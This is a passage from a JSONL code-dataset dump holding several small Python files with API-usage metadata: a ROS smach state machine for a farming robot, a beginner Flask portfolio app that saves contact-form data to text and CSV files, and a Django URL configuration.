"usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 123, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 123, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 125, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 128, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 139, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 139, "usage_type": "attribute"}, {"api_name": "pygame.Color", "line_number": 146, "usage_type": "call"}, {"api_name": "pygame.Color", "line_number": 148, "usage_type": "call"}, {"api_name": "pygame.font.Font", "line_number": 149, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 149, "usage_type": "attribute"}, {"api_name": "pygame.sprite", "line_number": 157, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 163, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 163, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 167, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 167, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 173, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 173, "usage_type": "attribute"}, {"api_name": "pygame.Color", "line_number": 177, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 191, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 197, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 197, "usage_type": "attribute"}, {"api_name": "pygame.transform.flip", "line_number": 198, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 198, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 198, "usage_type": "call"}, {"api_name": "pygame.mask.from_surface", "line_number": 203, "usage_type": "call"}, {"api_name": "pygame.mask", "line_number": 203, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 210, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 215, "usage_type": "call"}, {"api_name": "pygame.mask.from_surface", "line_number": 222, "usage_type": "call"}, {"api_name": "pygame.mask", "line_number": 222, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 229, "usage_type": "call"}, {"api_name": "pygame.transform.scale", "line_number": 230, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 230, "usage_type": "attribute"}, {"api_name": "pygame.transform.flip", "line_number": 231, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 231, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 231, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 236, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 242, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 242, "usage_type": "attribute"}, {"api_name": "pygame.transform.flip", "line_number": 243, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 243, "usage_type": "attribute"}, {"api_name": "pygame.mask.from_surface", "line_number": 249, "usage_type": "call"}, {"api_name": "pygame.mask", "line_number": 249, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 255, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 260, "usage_type": "call"}, {"api_name": "pygame.mask.from_surface", "line_number": 267, "usage_type": "call"}, {"api_name": "pygame.mask", "line_number": 267, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 274, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 278, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 285, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 285, "usage_type": "attribute"}, {"api_name": "pygame.transform.flip", "line_number": 286, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 286, "usage_type": "attribute"}, {"api_name": "pygame.mask.from_surface", "line_number": 293, "usage_type": "call"}, {"api_name": "pygame.mask", "line_number": 293, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 299, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 304, "usage_type": "call"}, {"api_name": "pygame.mask.from_surface", "line_number": 311, "usage_type": "call"}, {"api_name": "pygame.mask", "line_number": 311, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 318, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 327, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 332, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 332, "usage_type": "attribute"}, {"api_name": "pygame.mask.from_surface", "line_number": 342, "usage_type": "call"}, {"api_name": "pygame.mask", "line_number": 342, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 347, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 352, "usage_type": "call"}, {"api_name": "pygame.mask.from_surface", "line_number": 360, "usage_type": "call"}, {"api_name": "pygame.mask", "line_number": 360, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 361, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 361, "usage_type": "attribute"}, {"api_name": "pygame.K_SPACE", "line_number": 362, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollideany", "line_number": 375, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 375, "usage_type": "attribute"}, {"api_name": "pygame.sprite.collide_mask", "line_number": 379, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 379, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 393, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 393, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 395, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 395, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 397, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 397, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 399, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 399, "usage_type": "attribute"}, {"api_name": "pygame.Color", "line_number": 404, "usage_type": "call"}, {"api_name": "pygame.Color", "line_number": 406, "usage_type": "call"}, {"api_name": "pygame.font.Font", "line_number": 414, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 414, "usage_type": "attribute"}, {"api_name": "pygame.Color", "line_number": 422, "usage_type": "call"}, {"api_name": "pygame.Color", "line_number": 426, "usage_type": "call"}, {"api_name": "pygame.Color", "line_number": 435, "usage_type": "call"}, {"api_name": "pygame.Color", "line_number": 439, "usage_type": "call"}, {"api_name": "pygame.event.get", "line_number": 447, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 447, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 452, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 452, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 453, "usage_type": "attribute"}, {"api_name": "pygame.K_ESCAPE", "line_number": 457, "usage_type": "attribute"}, {"api_name": "pygame.K_RETURN", "line_number": 461, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 462, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 463, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 464, "usage_type": "call"}, {"api_name": "pygame.K_1", "line_number": 467, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 470, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 473, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 474, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 475, "usage_type": "call"}, {"api_name": "pygame.display.flip", "line_number": 481, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 481, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 493, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 493, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 494, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 494, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 496, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 499, "usage_type": "attribute"}, {"api_name": "pygame.K_2", "line_number": 502, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 506, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 506, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 507, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 510, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 510, "usage_type": "attribute"}, {"api_name": "pygame.K_RETURN", "line_number": 511, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 515, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 515, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 529, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 529, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 530, "usage_type": "call"}]}
{"seq_id": "29353499694", "text": "#!/usr/bin/env python\nimport rospy\nimport smach\nfrom std_msgs.msg import String, Int64MultiArray\nfrom utils import *\nimport parameters as param\nfrom tf.transformations import euler_from_quaternion, quaternion_from_euler\nfrom geometry_msgs.msg import (\n    Pose,\n    PoseStamped,\n    PoseArray\n)\nfrom farming_bot_msgs.msg import (\n    ModeSwitchRequestMessage\n)\n\nfrom nav_msgs.msg import (\n    Odometry\n)\n\nmodes = [\n    ModeSwitchRequestMessage.NAVIGATION,\n    ModeSwitchRequestMessage.START_NAVIGATION,\n    ModeSwitchRequestMessage.STOP_NAVIGATION,\n    ModeSwitchRequestMessage.KEY_HOLE_GENERATION,\n    ModeSwitchRequestMessage.ASSISTED_ALIGNMENT,\n    ModeSwitchRequestMessage.START_HARVESTING,\n    ModeSwitchRequestMessage.STOP_HARVESTING,\n    ModeSwitchRequestMessage.DO_HARVESTING,\n]\n\nclass Navigation(smach.State): # Define a state, outcomes and userdata hooks\n    def __init__(self):\n        smach.State.__init__(self, outcomes=['full', 'navigate','align','try','done'], \n                            input_keys=['in_navigation','start_nav','row_side','plan'], output_keys=['out_navigation','start_nav','row_side'])\n        self.request_change_publisher = rospy.Publisher(\"/machine_inputs/control_mode/request_mode_change\", ModeSwitchRequestMessage, queue_size=10)\n        self.row_side_data = None\n        self.plan = [['Navigate',[15,15,0]],['Harvest',[]],['Navigate',[25,15,0]],['Harvest',[]]]\n        self.goal = [10,10,0]\n        self.pub_goal = rospy.Publisher(\"/gplanner/goal\", PoseStamped, queue_size=1)\n        self.plan_data =rospy.Subscriber(\"/plan_to_execute\", Int64MultiArray, self.receive_plan)\n        self.track_odometry =rospy.Subscriber(\"/odometry/filtered_map\", Odometry, self.track_harvey)\n        self.track_odometry_cartsian =rospy.Subscriber(\"/odometry/filtered_map\", Odometry, self.callback_start)\n        self.mode_feedback_sub =rospy.Subscriber(\"/machine_state/control_mode/mode_change_feedback\", ModeSwitchRequestMessage, self.mode_feedback)\n        self.current_location = [0,0,0]\n        self.distance_to_goal = None\n        self.start_nav = False\n    def callback_start(self, msg):\n        orientation_q = msg.pose.pose.orientation\n        orientation_list = [orientation_q.x,\n                            orientation_q.y, orientation_q.z, orientation_q.w]\n        (roll, pitch, yaw) = euler_from_quaternion(orientation_list)\n        self.current_location = [msg.pose.pose.position.x, msg.pose.pose.position.y, yaw]\n    def row_change(self,msg):\n        self.row_side_data = msg.data\n\n    def mode_change(self,value):\n        self.request_change_publisher.publish(ModeSwitchRequestMessage(next_mode=value))\n    def mode_feedback(self, msg):\n        self.mode_feedback = msg.next_mode\n    def receive_plan(self,msg):\n        self.plan = msg.data\n\n    def track_harvey(self,msg):\n        orientation_q = msg.pose.pose.orientation\n        orientation_list = [orientation_q.x,\n                            orientation_q.y, orientation_q.z, orientation_q.w]\n        (roll, pitch, yaw) = euler_from_quaternion(orientation_list)\n        self.current_location = [msg.pose.pose.position.x, msg.pose.pose.position.y, yaw]\n    def execute(self, userdata):\n        # userdata.plan = self.plan\n        print((userdata.plan))\n        self.mode_change('START_NAVIGATION')\n\n        while userdata.plan!=[]:\n            plan = userdata.plan.pop(0)\n            print(plan, plan[0])\n            if plan[0] =='Navigate':\n                rospy.loginfo(\" I was here\")\n                # print(plan,plan[1])\n                self.start_nav = True\n                goal_to_achieve = convert_goal_pose(plan[1])\n                rospy.sleep(2) \n                publish = True\n                while self.start_nav!=False:\n                    self.distance_to_goal = euclidean_distance(self.current_location,plan[1])\n\n                    if publish == True:\n                        print('Publishing Goal and state')\n\n                        self.pub_goal.publish(goal_to_achieve)\n                        self.mode_change('START_NAVIGATION')\n                        publish = False\n\n                    # self.start_nav = False\n                    # return 'try'\n                    if self.distance_to_goal < param.threshold_distance_to_goal:\n                        self.mode_change('STOP_NAVIGATION')\n                        self.start_nav = False\n                        publish = True\n                        return 'try'\n            elif plan[0] =='Harvest':\n                # self.mode_change('START_HARVESTING')\n                    return 'full'\n            elif plan[0] == 'Align':\n                # self.mode_change('ASSISTED_ALIGNMENT')\n                return 'align' \n            \n        return 'try'    \n    \nclass Harvest(smach.State):\n    def __init__(self):\n        smach.State.__init__(self, outcomes=['done','harvesting'],\n                            input_keys=['in_navigation','in_harvest','start_nav','row_side'], \n                            output_keys=['out_navigation','in_harvest','out_harvest','start_nav','row_side'])\n        # self.align_success\n        self.request_change_publisher = rospy.Publisher(\"/machine_inputs/control_mode/request_mode_change\", ModeSwitchRequestMessage, queue_size=10)\n        self.mode_feedback_sub =rospy.Subscriber(\"/machine_state/control_mode/mode_change_feedback\", ModeSwitchRequestMessage, self.mode_feedback)\n\n    def mode_feedback(self, msg):\n        self.mode_feedback = msg.next_mode\n    def mode_change(self,value):\n        self.request_change_publisher.publish(ModeSwitchRequestMessage(next_mode=value))\n\n    def execute(self, userdata):\n        if userdata.in_harvest >= 50:\n            userdata.start_nav = False\n            userdata.in_harvest = 0\n            rospy.loginfo(userdata.start_nav)  \n            self.mode_change('STOP_HARVESTING')\n            return 'done'\n    \n        else:\n            userdata.out_harvest = userdata.in_harvest + 1\n            rospy.sleep(0.5) \n            # userdata.out_navigation = userdata.in_navigation - 1\n            rospy.loginfo('harvest: '+str(userdata.in_harvest) + ', navigation: ' + str(userdata.in_navigation))\n            self.mode_change('START_HARVESTING')\n            return 'harvesting'\n        \nclass Align(smach.State):\n    def __init__(self):\n        \n        smach.State.__init__(self, outcomes=['align','harvesting'],\n                            input_keys=['align','in_navigation','in_harvest','start_nav','row_side'], \n                            output_keys=['align','out_navigation','out_harvest','start_nav','row_side'])\n        self.request_change_publisher = rospy.Publisher(\"/machine_inputs/control_mode/request_mode_change\", ModeSwitchRequestMessage, queue_size=10)\n\n\n        \nclass Key_hole(smach.State):\n    def __init__(self):\n        \n        smach.State.__init__(self, outcomes=['align','harvesting'],\n                            input_keys=['align','in_navigation','in_harvest','start_nav','row_side'], \n                            output_keys=['align','out_navigation','out_harvest','start_nav','row_side'])\n        self.request_change_publisher = rospy.Publisher(\"/machine_inputs/control_mode/request_mode_change\", ModeSwitchRequestMessage, queue_size=10)\n\n\n\n\n\n    def mode_change(self,value):\n        self.request_change_publisher.publish(ModeSwitchRequestMessage(next_mode=value))\n\n    def execute(self, userdata):\n        userdata.align = 0\n        if userdata.align>= 50:\n            userdata.start_nav = False\n            # self.mode_change('START_HARVESTING')\n            rospy.loginfo(userdata.start_nav)  \n            return 'harvesting'\n        else:\n            userdata.align =+ 1\n            # userdata.out_navigation = userdata.in_navigation - 1\n            rospy.loginfo('Align' + str(userdata.aligns))\n            return 'align'\n        \ndef init_harvey_userdata():\n    #create SMACH state machine\n    sm = smach.StateMachine(outcomes=['finished','aborted'])\n    sm.userdata.sm_harvest = 0\n    sm.userdata.sm_start_nav = False\n    sm.userdata.sm_navigation = 0\n    sm.userdata.sm_row_side = None\n    sm.userdata.align = 0\n    sm.userdata.plan = [['Harvest',[]],['Harvest',[]]]\n    sm.set_initial_state(['Navigation'])\n\n    with sm:\n        smach.StateMachine.add('Navigation', Navigation(), # Add state and mapping for IO hooks\n                transitions={'full':'Harvest','navigate':'Navigation','align': 'Align', 'try':'Navigation', 'done':'finished'},\n                remapping={'in_navigation':'sm_navigation','out_navigation':'sm_navigation','start_nav':'sm_start_nav','row_side':'sm_row_side'})\n        smach.StateMachine.add('Harvest', Harvest(),\n                transitions={'done':'Navigation',\n                             'harvesting':'Harvest',},\n                remapping={'in_navigation':'sm_navigation','out_navigation':'sm_navigation',\n                           'in_harvest':'sm_harvest','out_harvest':'sm_harvest','start_nav':'sm_start_nav','row_side':'sm_row_side'})\n        smach.StateMachine.add('Align', Align(),\n                transitions={'align':'Align',\n                             'harvesting':'Harvest',},\n                remapping={'in_navigation':'sm_navigation','out_navigation':'sm_navigation',\n                           'in_harvest':'sm_harvest','out_harvest':'sm_harvest','start_nav':'sm_start_nav','row_side':'sm_row_side'})\n    return sm\n    \nif __name__ == '__main__':\n    rospy.init_node('harvey_smach_v1')\n    rospy.sleep(0.5)          # Time to initialize to avoid missing log messages\n    sm = init_harvey_userdata()  # Create state machine\n    outcome = sm.execute()    # Execute state machine\n    rospy.loginfo('Final outcome: '+outcome)\n    rospy.spin()\n  ", "repo_name": "Sharaths7/Repo", "sub_path": "base_global_planner_segment_/scripts/smach_harvey.py", "file_name": "smach_harvey.py", "file_ext": "py", "file_size_in_byte": 9664, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage.NAVIGATION", "line_number": 22, "usage_type": "attribute"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage", "line_number": 22, "usage_type": "name"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage.START_NAVIGATION", "line_number": 23, "usage_type": "attribute"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage", "line_number": 23, "usage_type": "name"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage.STOP_NAVIGATION", "line_number": 24, "usage_type": "attribute"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage", "line_number": 24, "usage_type": "name"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage.KEY_HOLE_GENERATION", "line_number": 25, "usage_type": "attribute"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage", "line_number": 25, "usage_type": "name"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage.ASSISTED_ALIGNMENT", "line_number": 26, "usage_type": "attribute"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage", "line_number": 26, "usage_type": "name"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage.START_HARVESTING", "line_number": 27, "usage_type": "attribute"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage", "line_number": 27, "usage_type": "name"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage.STOP_HARVESTING", "line_number": 28, "usage_type": "attribute"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage", "line_number": 28, "usage_type": "name"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage.DO_HARVESTING", "line_number": 29, "usage_type": "attribute"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage", "line_number": 29, "usage_type": "name"}, {"api_name": "smach.State", "line_number": 32, "usage_type": "attribute"}, {"api_name": "smach.State.__init__", "line_number": 34, "usage_type": "call"}, {"api_name": "smach.State", "line_number": 34, "usage_type": "attribute"}, {"api_name": "rospy.Publisher", "line_number": 36, "usage_type": "call"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage", "line_number": 36, "usage_type": "argument"}, {"api_name": "rospy.Publisher", "line_number": 40, "usage_type": "call"}, {"api_name": "geometry_msgs.msg.PoseStamped", "line_number": 40, "usage_type": "argument"}, {"api_name": "rospy.Subscriber", "line_number": 41, "usage_type": "call"}, {"api_name": "std_msgs.msg.Int64MultiArray", "line_number": 41, "usage_type": "argument"}, {"api_name": "rospy.Subscriber", "line_number": 42, "usage_type": "call"}, {"api_name": "nav_msgs.msg.Odometry", "line_number": 42, "usage_type": "argument"}, {"api_name": "rospy.Subscriber", "line_number": 43, "usage_type": "call"}, {"api_name": "nav_msgs.msg.Odometry", "line_number": 43, "usage_type": "argument"}, {"api_name": "rospy.Subscriber", "line_number": 44, "usage_type": "call"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage", "line_number": 44, "usage_type": "argument"}, {"api_name": "tf.transformations.euler_from_quaternion", "line_number": 52, "usage_type": "call"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage", "line_number": 58, "usage_type": "call"}, {"api_name": "tf.transformations.euler_from_quaternion", "line_number": 68, "usage_type": "call"}, {"api_name": "rospy.loginfo", "line_number": 79, "usage_type": "call"}, {"api_name": "rospy.sleep", "line_number": 83, "usage_type": "call"}, {"api_name": "parameters.threshold_distance_to_goal", "line_number": 97, "usage_type": "attribute"}, {"api_name": "smach.State", "line_number": 111, "usage_type": "attribute"}, {"api_name": "smach.State.__init__", "line_number": 113, "usage_type": "call"}, {"api_name": "smach.State", "line_number": 113, "usage_type": "attribute"}, {"api_name": "rospy.Publisher", "line_number": 117, "usage_type": "call"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage", "line_number": 117, "usage_type": "argument"}, {"api_name": "rospy.Subscriber", "line_number": 118, "usage_type": "call"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage", "line_number": 118, "usage_type": "argument"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage", "line_number": 123, "usage_type": "call"}, {"api_name": "rospy.loginfo", "line_number": 129, "usage_type": "call"}, {"api_name": "rospy.sleep", "line_number": 135, "usage_type": "call"}, {"api_name": "rospy.loginfo", "line_number": 137, "usage_type": "call"}, {"api_name": "smach.State", "line_number": 141, "usage_type": "attribute"}, {"api_name": "smach.State.__init__", "line_number": 144, "usage_type": "call"}, {"api_name": "smach.State", "line_number": 144, "usage_type": "attribute"}, {"api_name": "rospy.Publisher", "line_number": 147, "usage_type": "call"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage", "line_number": 147, "usage_type": "argument"}, {"api_name": "smach.State", "line_number": 151, "usage_type": "attribute"}, {"api_name": "smach.State.__init__", "line_number": 154, "usage_type": "call"}, {"api_name": "smach.State", "line_number": 154, "usage_type": "attribute"}, {"api_name": "rospy.Publisher", "line_number": 157, "usage_type": "call"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage", "line_number": 157, "usage_type": "argument"}, {"api_name": "farming_bot_msgs.msg.ModeSwitchRequestMessage", "line_number": 164, "usage_type": "call"}, {"api_name": "rospy.loginfo", "line_number": 171, "usage_type": "call"}, {"api_name": "rospy.loginfo", "line_number": 176, "usage_type": "call"}, {"api_name": "smach.StateMachine", "line_number": 181, "usage_type": "call"}, {"api_name": "smach.StateMachine.add", "line_number": 191, "usage_type": "call"}, {"api_name": "smach.StateMachine", "line_number": 191, "usage_type": "attribute"}, {"api_name": "smach.StateMachine.add", "line_number": 194, "usage_type": "call"}, {"api_name": "smach.StateMachine", "line_number": 194, "usage_type": "attribute"}, {"api_name": "smach.StateMachine.add", "line_number": 199, "usage_type": "call"}, {"api_name": "smach.StateMachine", "line_number": 199, "usage_type": "attribute"}, {"api_name": "rospy.init_node", "line_number": 207, "usage_type": "call"}, {"api_name": "rospy.sleep", "line_number": 208, "usage_type": "call"}, {"api_name": "rospy.loginfo", "line_number": 211, "usage_type": "call"}, {"api_name": "rospy.spin", "line_number": 212, "usage_type": "call"}]}
{"seq_id": "73503245349", "text": "# python3 -m -venv .venv - to create environment\r\n# . venv/bin/activate - to activate the environment\r\nimport csv\r\n\r\nfrom flask import Flask, render_template, url_for, request , redirect\r\n\r\napp = Flask(__name__)  # this is the app name\r\nprint(__name__)\r\n\r\n\r\n\r\n@app.route(\"/\")\r\ndef hello_world():\r\n  return render_template('index.html')\r\n\r\n\r\n\r\n@app.route(\"/\")\r\ndef html_page(page_name):\r\n  print(f'i am here {page_name}')\r\n  return render_template(page_name)\r\n\r\n\r\n\r\n@app.route(\"/work\", methods=['GET', 'POST'])\r\ndef work_page(index):\r\n  work_pge= 'work' + str(index) + '.html'\r\n  print(f'i am page {work_pge}')\r\n  return render_template(work_pge)  #jinja variable which is in html = variable we pass in this defination)\r\n\r\n\r\n\r\n@app.route('/submit_form', methods=['POST', 'GET'])  #get means browser wants to send, Post measn browser want us to give\r\ndef submit_form():\r\n  if request.method == 'POST':\r\n  # we can do request.form['email'] to grab single item but by doing to_dict we are getting all the data in form of dictionary\r\n    data = request.form.to_dict()    #data is variable  # now we have data we have to store this data\r\n    print(data)\r\n    write_to_file(data)  #this will call this method to write inside the database\r\n    write_to_csv(data)  #this will write in csv \r\n  # return 'form Submitted'  #render_template('login.html', error=error)\r\n    return redirect('thankyou.html')  #this will redirect to html of thank you page\r\n  \r\n  else:\r\n    return 'Something went wrong'\r\n\r\n\r\n\r\n# this code is store in text file which is not convienent hence we store our database in CSV file\r\n# Also this is on local host\r\ndef write_to_file(data):\r\n  with open('database.txt', mode='a') as database:\r\n    email  = data[\"email\"]  #this can extract from our data which we have passed\r\n    subject = data[\"subject\"]  #this are key inside the bracket\r\n    message = data[\"message\"]\r\n    file = database.write(f'\\n{email}, {subject}, {message}')\r\n\r\n\r\n\r\n#this will create a csv file but its in same server but how to write on database on different machines\r\ndef write_to_csv(data):\r\n  with open('DatabaseUpdated.csv', mode='a', newline='') as database2:\r\n    email = data[\"email\"]\r\n    subject = data[\"subject\"]\r\n    message = data[\"message\"]\r\n    \r\n    # , in databaseUpdated it means it ends of one column in csv\r\n    csvDataBase = csv.writer(database2, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL,)\r\n    csvDataBase.writerow([email,subject,message])  # we are writing it as a list and it samrt enough to know its as variable\r\n    \r\n    #delimeter means how you want to seprated here we selecetd ,\r\n    #quotechar means do you want any quote in your string we need it \"\r\n    #quoting is csv.quote_minimal\r\n    #postgres, oracle, Sql - Relational Database\r\n    #mongodb, redis - non-relational databse no need of schema first- mongodb is document type\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n  app.run()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  #extras\r\n  # for powershell\r\n  #$env:FLASK_APP=\"main.py\"  - to run flask\r\n  # flask run\r\n  # $env:FLASK_APP=\"main.py\" - to make debug on for 1 time\r\n  # $env:FLASK_DEBUG = \"1\" - for all the time\r\n\r\n  #url_for is good we do not need to do hard code check documentation\r\n\r\n  #Url Parameters to pass the parameters from url - variable rules please see documentation we can get id , int, uuid, string\r\n\r\n  #MIME type - will send the content by flask  because it send as text but flask will tell is it html or css ot js tetx/CSS\r\n\r\n  #server or API is also works for server it can also send json.\r\n  #Swapi #Robohash\r\n\r\n  # for different have different syntax\r\n  # our is - export FLASK_APP=main.py after this\r\n  # do - flask run\r\n\r\n  # flaskApp = appname we need\r\n  # export FLASK_ENV=development this is to make debug on\r\n\r\n  # this is send the text but what if we have to send html template it comes with the function render template\r\n\r\n  # now we have to add css - static files which cannot be change so we store style in static folder\r\n\r\n  # favicon.ico it means error for not founding image\r\n\r\n  #python anywhere allow us to deploy the site for free\r\n\r\n  # open new terminal git clone - https://github.com/raihan1301/Portfolio.git  this will clone our project", "repo_name": "raihan1301/Portfolio", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 4217, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 29, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 35, "usage_type": "name"}, {"api_name": "flask.request.form.to_dict", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 37, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 37, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 42, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 68, "usage_type": "call"}, {"api_name": "csv.QUOTE_MINIMAL", "line_number": 68, "usage_type": "attribute"}]}
{"seq_id": "36131799539", "text": "from django.urls import path\n\nfrom HelloTemplate import views\n\nurlpatterns = [\n    path('hello', views.hello),\n    path('get_students', views.get_students),\n    path('home/', views.home),\n    path('home_mine/', views.home_mine),\n]", "repo_name": "ithjl521/python", "sub_path": "qianfeng/framework/Django/HelloDjango/HelloTemplate/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 230, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "HelloTemplate.views.hello", "line_number": 6, "usage_type": "attribute"}, {"api_name": "HelloTemplate.views", "line_number": 6, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "HelloTemplate.views.get_students", "line_number": 7, "usage_type": "attribute"}, {"api_name": "HelloTemplate.views", "line_number": 7, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "HelloTemplate.views.home", "line_number": 8, "usage_type": "attribute"}, {"api_name": "HelloTemplate.views", "line_number": 8, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "HelloTemplate.views.home_mine", "line_number": 9, "usage_type": 